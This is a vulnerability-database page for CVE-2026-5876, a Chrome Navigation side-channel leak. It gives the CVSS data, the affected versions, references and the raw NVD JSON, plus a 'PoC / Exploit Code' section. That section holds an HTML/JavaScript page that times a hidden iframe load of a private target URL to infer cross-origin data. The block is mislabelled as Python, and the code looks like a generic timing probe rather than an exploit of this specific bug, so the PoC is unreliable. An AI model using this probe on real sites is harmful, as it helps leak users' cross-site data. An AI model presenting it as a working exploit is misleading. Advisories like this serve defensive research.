CVE-2026-5876

Description

Side-channel information leakage in Navigation in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-5876 -->
<!-- Description: Demonstrates side-channel leakage via navigation timing -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5876 PoC</title>
</head>
<body>
    <h1>Side Channel Navigation Leak PoC</h1>
    <p>Check console for results.</p>
    <script>
        // Target URL to test (e.g., a private endpoint)
        const targetUrl = 'https://target-site.com/private-resource';

        async function detectLeak() {
            const start = performance.now();

            try {
                // Create a hidden iframe to trigger navigation
                const iframe = document.createElement('iframe');
                iframe.style.display = 'none';
                iframe.src = targetUrl;
                document.body.appendChild(iframe);

                iframe.onload = () => {
                    const end = performance.now();
                    const duration = end - start;
                    
                    // Analyze timing to infer data existence
                    // In a real exploit, specific threshold would be calibrated
                    if (duration > 50) { 
                        console.log(`[+] Potential Leak Detected: Navigation took ${duration}ms`);
                        console.log("[+] This indicates the resource might exist or be accessible.");
                    } else {
                        console.log(`[-] No Leak: Navigation took ${duration}ms`);
                    }

                    // Cleanup
                    document.body.removeChild(iframe);
                };
            } catch (error) {
                console.error("Error executing PoC:", error);
            }
        }

        // Execute the test
        detectLeak();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5876
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5876
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5876/
[4] VulDB https://vuldb.com/cve/CVE-2026-5876
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/41485206

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5876", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:27.210", "lastModified": "2026-04-13T17:40:36.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Side-channel information leakage in Navigation in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1300"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1300"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/41485206", "source": "[email protected]", "tags": ["Permissions Required"]}]}}